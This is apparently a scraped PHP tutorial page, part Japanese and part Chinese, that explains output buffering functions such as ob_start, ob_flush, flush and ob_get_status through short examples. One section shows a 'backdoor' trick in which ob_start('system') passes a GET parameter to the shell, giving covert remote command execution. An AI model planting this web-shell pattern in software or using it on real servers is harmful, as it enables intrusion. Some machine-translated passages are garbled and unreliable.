ホームページ > バックエンド開発 > PHPチュートリアル > PHP 出力バッファリングの概要と役割

PHP 出力バッファリングの概要と役割

墨辰丷
リリース: 2023-03-31 07:16:01
オリジナル
1800 人が閲覧しました

この記事では主に PHP 出力バッファリングの概要と機能について紹介します。興味のある方はぜひ参考にしてください。

概要

以前、PHPの入出力バッファリングについて勉強したことがありましたが、ブログ移転後、元の記事が見つかりませんでした。ちなみに今日再投稿しました。

はじめに

出力バッファリングに関して最初に話すべきことは、バッファと呼ばれるものです。その役割を説明するための簡単な例を示します。ドキュメントを編集するとき、システムは保存する前にディスクに書き込みませんが、バッファがいっぱいになるか保存操作が実行されると、バッファに書き込みます。データはディスクに書き込まれます。 PHP の場合、エコーなどのすべての出力操作も最初に php バッファーに書き込まれ、スクリプトが実行されるか、強制出力キャッシュ操作が実行されるまで、データはブラウザーに表示されません。
実際、PHP プログラマにとって、基本的にすべてのスクリプトには出力バッファリングが含まれますが、ほとんどの場合、出力バッファリングを変更する必要はありません。今回は例を使って、PHPの出力バッファ制御機能「Output Control」を詳しく分析してみましょう。
次の例では、一般的なスクリプトで出力バッファリングがどのように存在するかを簡単に紹介します:

コードは次のとおりです:

echo 'Apple';
echo 'IBM';
echo 'Microsoft'
ログイン後にコピー


上記のスクリプトを実行すると、スクリプトが実行されます。最初のエコーが完了すると、対応するコンテンツはブラウザーには出力されませんが、バッファーに出力されます。同様に、3 つのエコーがすべて実行されると (つまり、スクリプトが終了すると)、バッファーのコンテンツが出力されます。 . すべてブラウザに出力されます。もちろん、このバッファにもサイズ制限があり、php.ini の Output_buffering オプションに従って設定されます。これについては、次の記事で詳しく紹介します。この章で説明する出力バッファ制御は、スクリプトの終了前にバッファ内のコンテンツを操作することです。
次の例は、出力バッファ制御の適用をよりよく反映しています:

コードは次のとおりです:

echo 'Apple'; 
sleep(2);
echo 'IBM'; 
sleep(2);
echo 'Microsoft';
ログイン後にコピー

出力結果を確認するには少なくとも 2 秒待つ必要があります。リアルタイム表示についてはどうでしょうか?つまり、最初のエコーが実行されるときに、対応するコンテンツが出力されます。このとき、出力バッファー制御関数を使用してバッファーを操作する必要があります。具体的な実装は今のところ保留され、発表されます。記事の最後に。

関数

1. PHP では、header()、session_start()、setcookie() などの出力を送信する前に関数を使用することはできません。 、出力バッファ制御関数を使用すると、エラーを報告せずにこれらの関数の前に出力できます。実際には、これを行う必要はなく、非常にまれな用途です。
2. 静的キャッシュ ファイルの生成や gzip 圧縮出力の実行など、出力コンテンツを処理します。
3. phpinfo()、var_dump() などの取得できない関数出力をキャプチャします。これらの関数はブラウザに操作結果を表示します。これらの結果を処理したい場合は、出力バッファリングを使用します。これを行う良い方法。簡単に言うと、この種の関数には戻り値がありません。これらの関数の出力データを取得するには、出力バッファ制御関数を使用する必要があります。
4. 最後のアプリケーションは、冒頭で述べたいくつかのデータのリアルタイム出力です。

php.ini の関連設定項目

php.ini の出力バッファリング制御に関連するオプションを見てみましょう。合計 3 つのオプションがあります。 :output_buffering、implicit_flush、およびoutput_handler。
1.output_buffering のデフォルトはオフです。オンに設定すると、出力バッファーはすべてのスクリプトで自動的に開きます。つまり、ob_start() 関数は、関数を明示的に呼び出すことなく、各スクリプトで自動的に実行されます。バッファに保存できる最大バイト数を表す整数に設定することもできます。この構成項目については、例 1 の説明で説明しました。
2.implicit_flush のデフォルトはオフです。オンに設定すると、PHP は出力後にバッファーの内容を自動的に送信します。つまり、flush() は各出力の後に自動的に実行されます。もちろん、有効な出力には echo や print などの関数だけでなく、HTML セグメントも含まれます。
3.output_handler のデフォルトは null で、その値は組み込み関数名にのみ設定できます。その機能は、定義された関数を使用してスクリプトのすべての出力を処理することです。その使用法は、以下で紹介する ob_start(‘function_name’) と似ています。

この記事では、特に指定がない限り、php.iniのoutput_buffering、implicit_flush、output_handlerの値はデフォルト値となります。

出力制御関数の詳細説明

ob_start()

bool ob_start ([ callback Outputcallback[,inchunk_size [, bool $ 消去 ]]] )

此函数大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

代码如下:

function dothing1($echo_thing){
    return ' #' . $echo_thing . '# ';
}
 
ob_start('dothing1');
echo 'Apple';
输出结果
#Apple#
ログイン後にコピー


从输出的结果可以看出单词两边被添加了“#”,也就是说在缓冲区内容输出时,运行了我们定义的 dothing1函数。

再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

代码如下:

ob_start();
echo str_repeat('Apple', 1024);
ログイン後にコピー

输出结果:没有使用gzip压缩的情况下,输出内容大小为5.2KB。

输出结果:使用gzip压缩的情况下,文档大小小了很多,压缩花费了时间,所以时间长了。

而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。

ob_start() 的用法就这么多,但有两点需要特别注意的地方:

1.ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了。
2.ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:

代码如下:

$cmd = 'system';
ob_start($cmd);
echo $_GET['a'];
ob_end_flush();
windows下面的输出结果:
14 个目录 30,970,388,480 可用字节
ログイン後にコピー

如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

ob_get_contents()

string ob_get_contents ( void )
此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

代码如下:

ob_start('doting2');
echo 'apple';
$tmp = ob_get_contents();
file_put_contents('./doting2', $tmp);
ob_end_flush()
ログイン後にコピー

ob_get_length()

此函数用来获取缓冲区内容的长度。

ob_get_level()
int ob_get_level ( void )
此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start() 函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:

代码如下:

ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();
ログイン後にコピー

运行后可以很明显的看出他们的嵌套关系。

ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:

代码如下:

ob_start('ob_gzhandler');
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush(); ob_end_flush();
运行结果 
array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )
ログイン後にコピー

说明:
1.level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样
2.type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理
3.status为缓冲处理状态, 0为开始, 1为进行中, 2为结束
4.name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名
5.del 为是否运行了删除缓冲区操作

ob_flush()
void ob_flush ( void )
此函数的作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

flush()
void flush ( void )
这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。

ob_flush()与flush()的区别

在没有开启缓存时,脚本输出的内容都在服务器端处于等待输出的状态,flush()可以将等待输出的内容立即发送到客户端。 开启缓存后,脚本输出的内容存入了输出缓存中,这时没有处于等待输出状态的内容,你直接使用flush()不会向客户端发出任何内容。而ob_flush()的作用就是将本来存在输出缓存中的内容取出来,设置为等待输出状态,但不会直接发送到客户端,这时你就需要先使用ob_flush()再使用flush(),客户端才能立即获得脚本的输出。

void ob_implicit_flush()

此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush() ,提高效率。

其他相关函数

1.bool ob_end_flush ( void )
2.string ob_get_flush ( void )
3.void ob_clean ( void )
4.bool ob_end_clean ( void )
5.string ob_get_clean ( void )

对一些数据进行实时的输出

相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,现在我们回到简介中留下的问题:让例2的脚本实现实时的显示内容,而不需要等待4秒后出现所有内容。
我们可以根据缓存开启与否,有如下几种不同的写法,如果你在测试过程中无法出现预期的效果,可以在header(‘content-type:text/html;charset=utf-8');下面插入str_repeat(‘ ‘, 1024);,你也可以尝试更大的值,部分浏览器即使这么做了,有可能还是无法出现效果,你可以尝试将php代码放入完整的html代码块body体内。下面代码的header(‘content-type:text/html;charset=utf-8');不要省略哦,否则部分浏览器查看不到效果。

代码如下:

ob_start(''); //这里我使用ob_start('ob_gzhandler')没有效果
header('content-type:text/html;charset=utf-8');
echo 'Apple #';  
ob_flush(); flush();
sleep(2);
echo 'IBM #';
ob_flush(); flush();
sleep(2);
echo 'Microsoft';
ログイン後にコピー

总结:以上就是本篇文的全部内容,希望能对大家的学习有所帮助。

相关推荐:

php针对数组的删除、转换、分组、排序

php针对文件操作及字符串加密的方法

php模拟post请求的三种常见用法

以上がPHP 出力バッファリングの概要と役割の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート